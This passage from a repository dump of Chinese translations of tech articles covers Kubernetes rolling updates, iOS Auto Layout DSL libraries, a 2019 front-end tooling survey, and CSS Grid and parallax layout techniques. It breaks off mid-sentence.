Update Bulk Image Path PR](https://github.com/Skarlso/kube-cluster-sample/pull/1)。\n\n现在，可以通过两种方式调用接收器：\n\n```\n# 单个路径:\ncurl -d '{\"path\":\"unknown4456.jpg\"}' http://127.0.0.1:8000/image/post\n\n# 多个路径:\ncurl -d '{\"paths\":[{\"path\":\"unknown4456.jpg\"}]}' http://127.0.0.1:8000/images/post\n```\n\n在这里，客户端是 `curl`。通常情况下，如果客户端是个服务，我会改一下，在新的路径抛出 404 时可以再试试老的路径。\n\n为简洁起见，我不修改 NSQ 和其他用来批量图像处理的操作，他们仍然会一个一个接收。这就当作业留给你们来做了。\n\n#### 新的镜像\n\n要执行滚动更新，我必须首先从接收器服务创建一个新镜像。\n\n```\ndocker build -t skarlso/kube-receiver-alpine:v1.1 .\n```\n\n一旦完成，我们可以开始推出更改。\n\n#### 滚动更新\n\n在 Kubernetes 中，您可以通过多种方式配置滚动更新：\n\n##### 手动更新\n\n如果我在我的配置文件中使用了一个名为 `v1.0` 的容器版本，那么更新只是简单地调用：\n\n```\nkubectl rolling-update receiver --image:skarlso/kube-receiver-alpine:v1.1\n```\n\n如果在部署期间出现问题，我们总是可以回滚。\n\n```\nkubectl rolling-update receiver --rollback\n```\n\n它将恢复以前的版本。 不需要大惊小怪，没有任何麻烦。\n\n##### 应用一个新的配置文件\n\n手动更新的问题在于它们不在源代码控制中。\n\n考虑一下：由于手动进行“快速修复”，一些服务器得到了更新，但没有人目睹它，并且没有记录。另一个人出现并对模板进行更改并将模板应用到群集。所有服务器都会更新，然后突然出现服务中断。\n\n长话短说，更新后的服务器已经被覆盖，因为该模板没有反映手动完成的工作。\n\n推荐的方法是更改​​模板以使用新版本，并使用 `apply` 命令应用模板。\n\nKubernetes 建议使用 ReplicaSets 进行部署应处理分发这意味着滚动更新必须至少有两个副本。如果少于两个副本存在，则更新将不起作用（除非 `maxUnavailable` 设置为 1）。我增加了 yaml 的副本数量。我还为接收器容器设置了新的镜像版本。\n\n```\n    replicas: 2\n...\n    spec:\n        containers:\n        - name: receiver\n        image: skarlso/kube-receiver-alpine:v1.1\n...\n```\n\n看看处理情况，这是你应该看到的：\n\n```\n❯ kubectl rollout status deployment/receiver-deployment\nWaiting for rollout to finish: 1 out of 2 new replicas have been updated...\n```\n\n您可以通过指定模板的 `strategy` 部分添加其他部署配置设置，如下所示：\n\n```\nstrategy:\ntype: RollingUpdate\nrollingUpdate:\n    maxSurge: 1\n    maxUnavailable: 0\n```\n\n有关滚动更新的更多信息，请参见以下文档：[Deployment Rolling Update](https://kubernetes.io/docs/concepts/workloads/controllers/deployment/#rolling-back-a-deployment), [Updating a Deployment](https://kubernetes.io/docs/concepts/workloads/controllers/deployment/#updating-a-deployment), [Manage Deployments](https://kubernetes.io/docs/concepts/cluster-administration/manage-deployment/#updating-your-application-without-a-service-outage), [Rolling Update using ReplicaController](https://kubernetes.io/docs/tasks/run-application/rolling-update-replication-controller/)。\n\n**MINIKUBE 的用户注意**：由于我们在具有一个节点和一个应用程序副本的本地机器上执行此操作，我们必须将 `maxUnavailable` 设置为 `1`; 否则 Kubernetes 将不允许更新发生，并且新版本将保持 `Pending` 状态。这是因为我们不允许存在没有运行容器的服务，这基本上意味着服务中断。\n\n### Scaling\n\n用 Kubernetes 来 scaling 比较容易。由于它正在管理整个集群，因此基本上只需将一个数字放入所需副本的模板中即可使用。\n\n迄今为止这是一篇很棒的文章，但时间太长了。我正在计划编写一个后续行动，我将通过多个节点和副本真正扩展 AWS 的功能; 再加上 [Kops](https://github.com/kubernetes/kops) 部署 Kubernetes 集群。敬请期待！\n\n### 清理\n\n```\nkubectl delete deployments --all\nkubectl delete services -all\n```\n\n## 写在最后\n\n女士们，先生们。我们用 Kubernetes 编写，部署，更新和扩展了（当然还不是真的）分布式应用程序。\n\n如果您有任何问题，请随时在下面的评论中讨论。我非常乐意解答。\n\n我希望你享受阅读它，虽然这很长， 我正在考虑将它分成多篇博客，但是一个整体的单页指南是有用的，并且可以很容易地找到，保存和打印。\n\n感谢您的阅读。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/larder-links-06-iOS-Auto-Layout-DSLs.md",
    "content": "> * 原文地址：[What's in your Larder: iOS layout DSLs](https://larder.io/blog/larder-links-06-iOS-Auto-Layout-DSLs/)\n> * 原文作者：[Belle](https://larder.io/blog/larder-links-06-iOS-Auto-Layout-DSLs/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/larder-links-06-iOS-Auto-Layout-DSLs.md](https://github.com/xitu/gold-miner/blob/master/TODO1/larder-links-06-iOS-Auto-Layout-DSLs.md)\n> * 译者：[pmwangyang](https://github.com/pmwangyang)\n> * 校对者：[RickeyBoy](https://github.com/RickeyBoy)\n\n# 你 Ladar 中该珍藏的：iOS 布局语言\n\n如果你在iOS开发时使用 `Auto Layout` 来纯代码布局的话，你很容易就会感到啰嗦和乏味。DSL（译者注：原意为「领域特定语言」，在本文中根据语境译为「布局语言」）能够将基础的API转换成可以简单、快速开发和阅读的代码。有很多这类布局语言支持 Auto Layout，甚至有几个还支持手动 frame 布局。\n\n我可以给你推荐一些我偶然遇到并且保存到我的 Ladar 书签中的布局语言（别忘了你可以在 Github 中 star 这些库，并且可以自动更新到你的 Lardar 账户中）。\n\n### [SnapKit](https://github.com/SnapKit/SnapKit) [Swift] & [Masonry](https://github.com/SnapKit/Masonry) [Objective-C]\n\n现在我已经使用 SnapKit 一段时间了，在这之前是 Masonry。SnapKit 是 Masonry 的 Swift 版继承者，二者使用的是同一种构思，都值得使用。\n\nSnapKit 使用闭包（Masonry 则用 block）和点语法来链接自动布局的约束需求。下面是一个使用 SnapKit 添加约束的例子：\n\n```\nview.addSubview(label)\nlabel.snp.makeConstraints { (make) in\n    make.label.leading.bottom.equalToSuperview()\n    make.top.equalTo(anotherView.snp.bottom).offset(12) // Label top == anotherView bottom + 12\n    make.width.equalToSuperview().dividedBy(2).labeled(\"label width\") // Label width == view width / 2\n}\nview.snp.makeConstraints { (make) in\n    make.edges.equalToSuperview() // SnapKit offers some handy shortcuts like .edges and .size to constrain multiple attributes at once\n}\n```\n\n我特别喜欢 SnapKit 的一点是，你可以使用点语法 `.labeled()` 来命名约束，当你的约束冲突时，可以在 Xcode 中显示出来。这对找到出问题的约束有很大帮助，以使得你的布局可以正常工作，但是你不需要因为这个来给每个约束一个唯一的标签。\n\n### [EasyPeasy](https://github.com/nakiostudio/EasyPeasy) [Swift]\n\nEasyPeasy 提供了一次性添加多个约束的好方法。在使用 SnapKit 时，你可以用 **同一种** 方法来约束视图的各个方向，比如：`view.leading.trailing.equalToSuperview()`，但是你不能把诸如 `leading` 和 `trailing` 这样不同的约束链接在一起。\n\n在使用 EasyPeasy 时，你可以这样做：\n\n```\nmyView.easy.layout(\n  Width(200),\n  Height(120)\n)\n```\n\nEasyPeasy 另一个有趣的地方是可以给约束添加条件，比如：\n\n```\nvar isCenterAligned = true\nview.easy.layout(\n  Top(10),\n  Bottom(10),\n  Width(250),\n  Left(10).when { !isCenterAligned },\n  CenterX(0).when { isCenterAligned }\n)\n```\n\n在 iOS 里，你也可以使用你正在添加约束的视图的 `UITraitCollection` 上下文，更轻松地来为不同的设备和方向调整你的布局。\n\n### [Stevia](https://github.com/freshOS/Stevia) [Swift]\n\nStevia 是 freshOS 的一部分，而 freshOS 是一个帮助 iOS 开发者在他们的项目中集合库文件的项目。Stevia 和 SnapKit 有许多相似点，但有一些不同的地方让 Stevia 相当吸引人。\n\n其中一个就是 Stevia 提供它自己的可视化布局 API。所以，如果你喜欢 Apple VFL 的可视化效果但是不想那么啰嗦、不想依赖于字符串和字典检查，Stevia 是一个很好的选择。这有一个 Stevia 文档中使用可视化布局 API 的简单例子：\n\n```\nlayout(\n    100,\n    |-email-| ~ 80,\n    8,\n    |-password-forgot-| ~ 80,\n    >=20,\n    |login| ~ 80,\n    0\n)\n```\n\n你也可以像 SnapKit 那样使用 Stevia，比如用点语法链接多个属性：\n\n```\nemail.top(100).left(8).right(8).width(200).height(44)\nimage.fillContainer()\n```\n\n你也可以使用等式 API 来布局，像这样：\n\n```\nemail.Top == 100\npassword.CenterY == forgot.CenterY\n```\n\nStevia 让我喜欢的一点是，你可以使用像下面这样的方法同时约束多个视图：\n\n```\nalignHorizontally(password, forgot)\nequalWidths(email, password)\n```\n\n只需一点点设置，你就可以使用 Stevia 的即时重载功能，让开发更快捷。\n\n### [Mortar](https://github.com/jmfieldman/Mortar) [Swift]\n\n和 SnapKit 以及 Stevia 不同的是，Mortar 压根不提供点语法。它有意地避免点语法来提升可读性。\n\n但不管怎样，它还是和 Stevia 一样提供了可视的布局 API，同样是一种用代码创建自动布局的简明的语法。\n\n这是 Mortar 文档中列举的可视布局 API 例子：\n\n```\nviewA | viewB[==viewA] || viewC[==40] | 30 | viewD[~~1] | ~~1 | viewE[~~2]\n\n// viewA has a size determined by its intrinsic content size\n// viewA is separated from viewB by 0 points (| operator)\n// viewB has a size equal to viewA\n// viewB is separated from viewC by the default padding (8 points; || operator)\n// viewC has a fixed size of 40\n// viewC is separated from viewD by a space of 30 points\n// viewD has a weighted size of 1\n// viewD is separated fom viewE by a weighted space of 1\n// viewE has a weighted size of 2\n```\n\nMortar 也允许你同时设置多个视图的约束，这点我认为非常有用。这里是用不同方式创建 Mortar 约束的概览：\n\n```\n[view1, view2, view3].m_size |=| (100, 200)\n\n/* Is equivalent to: */\n[view1.m_size, view2.m_size, view3.m_size] |=| (100, 200)\n\n/* Is equivalent to: */\nview1.m_size |=| (100, 200)\nview2.m_size |=| (100, 200)\nview3.m_size |=| (100, 200)\n```\n\n我对 Mortar 大量符号的使用有点失去了兴趣，但是符号的运用确实让语法非常简洁。我想如果你可以应付这些语法，你可以使用 Mortar 更快、更简单的添加约束。其他非常好的地方是，Mortar 没有忽略其他布局库并不支持的约束属性，比如 `firstBaseline`。\n\n### [Bamboo](https://github.com/wordlessj/Bamboo) \\[Swift\\]\n\n虽然 Bamboo 看起来和我提到的其他库很相似，但是它确实有一些独特的地方，值得我们探索。一个让我喜欢的方面是它的 `fill` 方法。对于初学者，你可以仅仅使用一个 `fill()` 来把当前视图的边缘贴在父视图的边缘上。但是你也可以调用比如 `fillLeft()` 来让视图的左、上、下边缘贴合到父视图上，或者使用 `fillWidth()` 来贴合视图的头和尾边缘。\n\n另一组我喜欢的方法是 `before()`、`after()`、`above()` 和 `below()`。我经常考虑用这种方法定位我的视图，所以，像这样用代码表达约束和我的思考过程是同步的，这是一个很好的方式。每一个这样的方法都有一个可选的间隔参数，所以你可以轻松地使用间隔参数在一个视图后面布局另一个视图。\n\n给你展示一个我喜欢的特性：你可以使用 Bamboo 同时约束多个视图：\n\n```\n// Constrain on each item.\n// e.g., Set each item's width to 10.\n[view1, view2, view3].bb.each {\n    $0.bb.width(10)\n}\n\n// Constrain between every two items.\n// e.g., view1.left == view2.left, view2.left == view3.left\n[view1, view2, view3].bb.between {\n    $0.bb.left($1)\n}\n\n[view1, view2, view3].bb.left() // align all left\n[view1, view2, view3].bb.width(10) // set width of all to 10\n```\n\nBamboo 同样提供一个优雅的选择，以便你在坐标轴上均匀地分布视图：\n\n```\n[view1, view2, view3].bb.distributeX(spacing: 10) // [view1]-10-[view2]-10-[view3]\n```\n\n最后，当自动布局失效时，Bamboo 也提供了[手动 frame 布局的近似语法](https://github.com/wordlessj/Bamboo/blob/master/Documentation/Manual%20Layout%20Guide.md)。\n\n### [Cartography](https://github.com/robb/Cartography) [Swift]\n\nCartography 使用基于闭包的方法来添加约束，每个闭包可以同时约束多个视图。下面是文档中的例子：\n\n```\nconstrain(view1, view2) { view1, view2 in\n    view1.width   == (view1.superview!.width - 50) * 0.5\n    view2.width   == view1.width - 50\n    view1.height  == 40\n    view2.height  == view1.height\n    view1.centerX == view1.superview!.centerX\n    view2.centerX == view1.centerX\n\n    view1.top >= view1.superview!.top + 20\n    view2.top == view1.bottom + 20\n}\n```\n\n你也可以一次只约束一个视图，比如：\n\n```\nconstrain(view) { view in\n    view.width  == 100\n    view.height == 100\n}\n```\n\n你也可以将所有的约束放到一个闭包里，就像一个 `ConstraintGroup`：\n\n```\nlet group = constrain(button) { button in\n    button.width  == 100\n    button.height == 400\n}\n```\n\n或者只在闭包中保留一个约束：\n\n```\nvar width: NSLayoutConstraint?\n\nconstrain(view) { view in\n    width = (view.width == 200 ~ 100)\n}\n```\n\n就像本文中其他的布局语言，Cartography 也提供了 `edges`、`center` 和 `size` 之类的混合属性来提高效率。它也提供了简单的对齐多个视图的方法：\n\n```\nconstrain(view1, view2, view3) { view1, view2, view3 in\n    align(top: view1, view2, view3)\n}\n```\n\n均匀分布视图方面，和 Bamboo 很像：\n\n```\nconstrain(view1, view2, view3) { view1, view2, view3 in\n    distribute(by: 10, horizontally: view1, view2, view3)\n}\n```\n\n### 其他选择\n\n你可能还会喜欢下面这些库：\n\n*   [LayoutKit](https://github.com/linkedin/LayoutKit) [Swift, Objective-C]，自动布局的另一种选择，LinkedIn开发。\n*   [PinLayout](https://github.com/layoutBox/PinLayout) [Swift]，一个手动 frame 布局的布局语言。\n*   [FlexLayout](https://github.com/layoutBox/FlexLayout) [Swift]，Yoga/Flexbox 的 Swift 版本接口, 由 PinLayout 背后的团队开发。\n*   [Layout](https://github.com/schibsted/layout) [Swift]，使用XML模板文件布局的框架。\n\n* * *\n\n我还发现了许多的自动布局语言，但并没有添加到 Larder 中或在这里列举。大部分是因为它们要么太老并且没人维护，或者是太简单、没有特点。但这并不意味着它们没有用，只是我在寻找最有趣、最独特使用自动布局语法糖的方式罢了。\n\n希望你可以在这个列表里找到一些新的可尝试的东西！如果你认为我漏掉了值得探究的库，请在这个 Twitter [@LarderApp](http://www.twitter.com/larderapp) 里和我们分享。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/launching-the-front-end-tooling-survey-2019.md",
    "content": "> * 原文地址：[Launching the Front-End Tooling Survey 2019](https://medium.freecodecamp.org/launching-the-front-end-tooling-survey-2019-4cb2b72f0b42)\n> * 原文作者：[Ashley Watson-Nolan](https://medium.com/@ashnolan_)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/launching-the-front-end-tooling-survey-2019.md](https://github.com/xitu/gold-miner/blob/master/TODO1/launching-the-front-end-tooling-survey-2019.md)\n> * 译者：[EmilyQiRabbit](https://github.com/EmilyQiRabbit)\n> * 校对者：[xingqiwu55555](https://github.com/xingqiwu55555)，[Mcskiller](https://github.com/Mcskiller)\n\n# 2019 前端工具调研\n\n### 自从去年结果公布，我们使用前端工具的习惯发生了什么变化？\n\n![](https://cdn-images-1.medium.com/max/2200/1*9JIIVk5ErlXzjy1Qu1G0eQ.png)\n\n和往年一样，本年度调研的目的也很简单。是为了了解整个行业中，常见前端工具现有的知识和使用水平。\n\n所以在 2019 年，哪些工具位居榜首呢？\n\n### ➡️ 现在我们开始本年度调研\n\n我非常感谢你能抽出时间来参与。每一份回答都能为前端社区提供一份更有代表性的样本。\n\n## 去年调研结果概述\n\n去年，5461 名前端研发花时间回答了 24 个关于不同前端工具的问题。\n\n所以在这些回答中，可以发现什么主流工具呢？\n\n### React 和 Vue.js 的使用量激增\n\n受访者回答了三个关于 JavaScript 库和框架的问题。这些问题都和他们对这些工具的了解和使用有关，并且还涉及他们是否认为这些库和框架是前端项目的必需品。\n\nReact 和 Vue.js 在前端领域获得了巨大进步。事实上，从与前一组结果的变化来看，React 第一次被认为是前端工具中最必要的 —— 它将 jQuery 从第一的位置踢走 —— 几乎三分之一的受访者是这样回复的（28.47%）。\n\njQuery 在前端工具里跌落到了第三的位置，位于那些声明他们不认为任何库和工具是必需的工具之后。Vue.js 是第四名，在 2016 到 2018 年间，它从 3.01% 增长到了 10.21%。\n\n![2018 前端工具调研第 16 问的结果：“你认为哪个 JavaScript 库或者框架是你大部分项目中不可缺少的”](https://cdn-images-1.medium.com/max/2400/1*0ITTXeaXH1eRwvDy0eHZpg.jpeg)\n\n就这些工具的知识水平而言，jQuery 依旧是大多数受访者觉得使用起来很舒适的工具（79.73%）。但是，这个指标第一次出现了下跌，与上次调研相比，跌落几近 7%。对比而言，40.43% 的受访者对 React 有相同看法，同时增长了 12.30%。\n\n使用特性也出现了类似的趋势，当受访者被问及他们在当前的项目中最常用的框架的时候，React 和 Vue.js 分别增长了 47.39% 和 22.94%。与 2016 年的调研相比，增长了 10.48% 和 13.59%。jQuery 则正好相反，它的用量跌落了 19.20%，尽管如此它依旧险居首位，51.05% 的受访者说他们依旧频繁的使用它。\n\n![2018 前端工具调研第 15 问的结果：“哪个 JavaScript 库或者框架是你当前项目中最常使用的”](https://cdn-images-1.medium.com/max/2400/1*AqnEnEJsUQvA2DDvqobFIg.jpeg)\n\n总的来说，这些问题的趋势清晰的反映出了 jQuery 的使用看起来是稍有衰减，开发者认为它是工作流中不那么重要的工具了。另一方面，在同一时期内，React 和 Vue.js 的使用和知识水平则飞速上升。\n\n### CSS-in-JS 工具用量稳定增长\n\n觉得使用 CSS-in-JS 解决方案很舒适的开发人员的数量，是去年结果 19.92％ 的两倍。显然，更多的开发者在寻找能帮助他们在构建组件的时候封装样式的工具。\n\n尽管这个比例只占受访者的五分之一，但是它却有上升的趋势，今年的结果更值得关注。\n\n### CSS Grid 的采用取得了良好的进展\n\nCSS 的布局功能在过去的几年中取得了巨大的飞跃。如果你想要躲开 flexbox 和 CSS Grid 相关的新闻和教程，你只能到山洞里去生活了。\n\n去年的结果显示，这些特性在开发者中被广泛的采用。一大部分开发者（67.59%）说，他们觉得使用 flexbox 非常顺手。对比而言，只有 18.48% 受访者同感于 CSS Grid，但是这个数字已经很高了，因为浏览器支持 CSS Grid 的时间远远比 flexbox 短。如果包含进那些表示至少有过一点点 CSS Grid 使用经验的受访者，这个比例将上升至 62.41%。\n\n### 查看完整结果\n\n如果你有兴趣知道去年调研的所有数据，[可以在这篇关于 2018 完整调研结果的文章中查看](https://ashleynolan.co.uk/blog/frontend-tooling-survey-2018-results)。\n\n看看上述这些趋势和特性在另一年中如何发展，真是件很有趣的事情呢。\n\n## 本年度有什么新鲜事\n\n在尽力保持调研的简洁性的同时，考虑到去年受访者的反馈，我们又添加了几个新的问题。\n\n随着 CSS-in-JS 工具的增长 —— 正如在 2018 年结果中显示的那样 —— 本年度的调研专门提出了一个关于这类工具的问题。\n\n另外，还有几个新的问题专门调研开发人员目前正在使用哪些有关性能和兼容性的工具以及功能。\n\n由于去年很多人提出了要求，所以我也将会发布一份整理好的调研反馈数据集（匿名）。它将也包括前三年的反馈数据。\n\n## 参加本年度调研\n\n这些已经足够了 —— [快来参加今年的调研吧](https://ashn.uk/survey-2019)！\n\n调研将在四月底关闭，结果将会很快公布。如果你想要知道具体时间，可以 [在 Twitter 上关注我](https://twitter.com/AshNolan_)或者在调研的最后留下你的邮箱地址。结果相关的文章公布后，你将第一时间收到链接。\n\n调研的总结文章也会在 Medium 这里发布。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/layouts-of-tomorrow.md",
    "content": "> * 原文地址：[The Layouts of Tomorrow](https://mxb.at/blog/layouts-of-tomorrow/)\n> * 原文作者：[mxbck](https://twitter.com/intent/follow?screen_name=mxbck)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/layouts-of-tomorrow.md](https://github.com/xitu/gold-miner/blob/master/TODO1/layouts-of-tomorrow.md)\n> * 译者：[MeFelixWang](https://github.com/MeFelixWang)\n> * 校对者：[IridescentMia](https://github.com/IridescentMia)\n\n# 明日之布局\n\n如果在过去几年中你参加过任一网页设计演讲，你可能已经看过 Jon Gold 这篇著名的推文：\n\n![](https://i.loli.net/2018/08/18/5b77acde227f4.png)\n\n它讽刺了今天很多网站看起来都一样的事实，因为它们都遵循我们共同决定使用的相同标准布局实践。建立博客？主栏，工具侧边栏。营销网站？大图，三个博眼球的框（**一定**是三个）。\n\n当我们回顾早期的网页时，我认为今天的网页设计有更大的创造力。\n\n## 进入 CSS 网格\n\n[Grid](https://www.w3.org/TR/css-grid-1/) 是网页布局上第一个真正的工具。到目前为止，我们所拥有的一切，从表格到浮动，从绝对定位到弹性盒子 —— 都是为了解决不同的问题，我们找到了使用和滥用它来进行布局的方法。\n\n这些新工具的重点不是使用不同的底层技术再次构建相同的东西。它有更多的潜力：它可以重塑我们对布局的思考方式，使我们能够在网页上做一些全新的，不同的事情。\n\n我知道，当你长时间以某种方式构建东西时，很难进入一种新的思维模式。我们受过培训，将网站视为标题，内容和页脚的组合。还有条纹和盒子。\n\n但为了让我们的行业持续进步（以及让我们的工作有趣），偶尔退一步并重新思考我们的工作方式是个好主意。\n\n如果我们不这样做，我们仍然会使用间隔的 gif 图和全大写 `<TABLE>` 标签来构建东西。😉\n\n## 那么，看起来会是什么样呢？\n\n我在 dribbble 上寻找过让布局有所突破的想法。那种会让像我这样的前端开发人员乍一看眉头紧锁的设计。\n\n有很多很棒的作品 —— 这里有一些我最喜欢的：\n\n[![](https://mxb.at/blog/layouts-of-tomorrow/warehouse.jpg)](https://dribbble.com/shots/1573896-Warehouse)\n\n\"Warehouse\" by [Cosmin Capitanu](https://dribbble.com/Radium)\n\n[![](https://mxb.at/blog/layouts-of-tomorrow/fashion_boutique.gif)](https://dribbble.com/shots/2375246-Fashion-Butique-slider-animation)\n\n\"Fashion Boutique\" by [KREATIVA Studio](https://dribbble.com/KreativaStudio)\n\n[![](https://mxb.at/blog/layouts-of-tomorrow/organic_juicy.png)](https://dribbble.com/shots/4316958-Organic-Juicy-Co-Landing-Page)\n\n\"Organic Juicy Co.\" by [Broklin Onjei](https://dribbble.com/broklinonjei)\n\n[![](https://mxb.at/blog/layouts-of-tomorrow/travel_summary.jpg)](https://dribbble.com/shots/1349782-Travel-Summary)\n\n\"Travel Summary\" by [Piotr Adam Kwiatkowski](https://dribbble.com/p_kwiatkowski)\n\n[![](https://mxb.at/blog/layouts-of-tomorrow/digital_walls.gif)](https://dribbble.com/shots/2652364-Digital-Walls)\n\n\"Digital Walls\" by [Cosmin Capitanu](https://dribbble.com/Radium)\n\n我特别喜欢最后一个。它让我想起了 Windows 8 中风靡一时的“Metro Tiles”。它不仅视觉上令人印象深刻，而且非常灵活 —— 它可以在手机，平板电脑上工作，在设计师的建议下，即使在巨大的电视屏幕上或 AR 中也可以。\n\n考虑到我们今天拥有的工具，制作这样的东西有多难？我想搞清楚，于是开始构建原型。\n\n我试着在生产环境的真实约束下来实现它。因此，界面必须具有响应性，高性能和可访问性。（尽管如此，它并不需要像素级还原，因为你懂的 —— [那是不可能的](http://dowebsitesneedtobeexperiencedexactlythesameineverybrowser.com/)。）\n\n结果如下：\n\n你可以在 Codepen 上查看[最终结果](https://codepen.io/mxbck/live/81020404c9d5fd873a717c4612c914dd)。\n\n👉 **由于这仅用于演示目的，因此我没有为旧版浏览器降级、打补丁。我的目标是在这里测试现代 CSS 的功能，因此并非所有功能都具有跨浏览器支持（如下所示）。我发现它在最新版本的 Firefox 或 Chrome 中效果最佳。**\n\n实现过程中一些有趣的东西：\n\n### 布局\n\n不出所料，“Metro Tiles”的关键因素是网格。整个布局逻辑在此代码块下自适应：\n\n```\n.boxgrid {\n    display: grid;\n    grid-template-columns: repeat(auto-fit, minmax(150px, 1fr));\n    grid-auto-rows: minmax(150px, auto);\n    grid-gap: 2rem .5rem;\n\n    &__item {\n        display: flex;\n\n        &--wide {\n            grid-column: span 2;\n        }\n        &--push {\n            grid-column: span 2;\n            padding-left: 50%;\n        }\n    }\n}\n```\n\n神奇的地方主要在第二行。`repeat(auto-fit, minmax(150px, 1fr))` 响应地处理列创建，这意味着它将在一行中连续放入尽可能多的盒子以确保它们与外边缘对齐。\n\n`--push` 修饰类用于实现设计的效果，其中一些盒子“跳过”一栏。由于在没有明确设置网格线的情况下这是不可能的，我用了个技巧：实际的网格单元格跨越两列，但只允许有足够的空间来填充单元格。\n\n### 动画\n\n原始设计中每节背景和每个 tile 网格以不同的速度移动，产生了深度上的错觉。没什么特别的，只是一些好的旧视差而已。\n\n虽然这种效果通常是通过 Javascript 绑定滚动事件然后应用不同的 transform 样式来实现的，但还有更好的方法：完全用 CSS。\n\n这里的秘诀是利用 CSS 3D 变换将图层沿 z 轴分开。Scott Kellum 和 Keith Clark 的[这项技术](https://developers.google.com/web/updates/2016/12/performant-parallaxing)实际上是通过在滚动容器上使用 perspective 和在视差子元素上使用 translateZ 来实现的：\n\n```\n.parallax-container {\n  height: 100%;\n  overflow-x: hidden;\n  overflow-y: scroll;\n\n  /* set a 3D perspective and origin */\n  perspective: 1px;\n  perspective-origin: 0 0;\n}\n\n.parallax-child {\n  transform-origin: 0 0;\n  /* move the children to a layer in the background,\n     then scale them back up to their original size */\n  transform: translateZ(-2px) scale(3);\n}\n```\n\n这种方法的一个巨大好处是提高了性能（因为它不会触及带有计算样式的 DOM），其结果是减少了重绘及做到几乎 60fps 的平滑视差滚动。\n\n### 吸附点\n\n[CSS Scroll Snap Points](https://drafts.csswg.org/css-scroll-snap/) 是一个有点实验性的功能，但我认为它很适合这种设计。基本上，你可以告诉浏览器在文档中滚动到接近某个元素的点时“吸附”到该元素上。目前支持非常有限，你最好的选择是在 Firefox 或 Safari 中使用它。\n\n目前有不同版本的规范，只有 Safari 支持最新的实现。Firefox 仍然使用较旧的语法。组合方法如下所示：\n\n```\n.scroll-container {\n    /* current spec / Safari */\n    scroll-snap-type: y proximity;\n\n    /* old spec / Firefox */\n    scroll-snap-destination: 0% 100%;\n    scroll-snap-points-y: repeat(100%);\n}\n.snap-to-element {\n    scroll-snap-align: start;\n}\n```\n\n`scroll-snap-type` 告诉滚动容器沿着 `y` 轴（垂直方向）根据 `proximity` “严格”地进行吸附。这使浏览器可以决定是否可以使用吸附点，以及是否是跳转的好时机。\n\n对于功能强大的浏览器，吸附点是一个小小的增强功能，而其他浏览器只是简单地降级为默认滚动。\n\n### 平滑滚动\n\n唯一涉及 Javascript 的地方是在左侧的菜单项或点击顶部/底部的方向箭头时处理平滑滚动时。这是从简单的页内锚链接 `<a href=\"#vienna\">` 跳转到所选部分的渐进增强。\n\n为了实现动画，我选择使用 vanilla `Element.scrollIntoView()` 方法 [(MDN Docs)](https://developer.mozilla.org/de/docs/Web/API/Element/scrollIntoView)。某些浏览器接受一个可选参数来使用“平滑”滚动行为，而不是立即跳转到目标部分。\n\n[scroll behaviour property](https://developer.mozilla.org/en-US/docs/Web/CSS/scroll-behavior) 目前是一个工作草案，所以还没有普遍支持。目前只有 Chrome 和 Firefox 支持此功能 —— 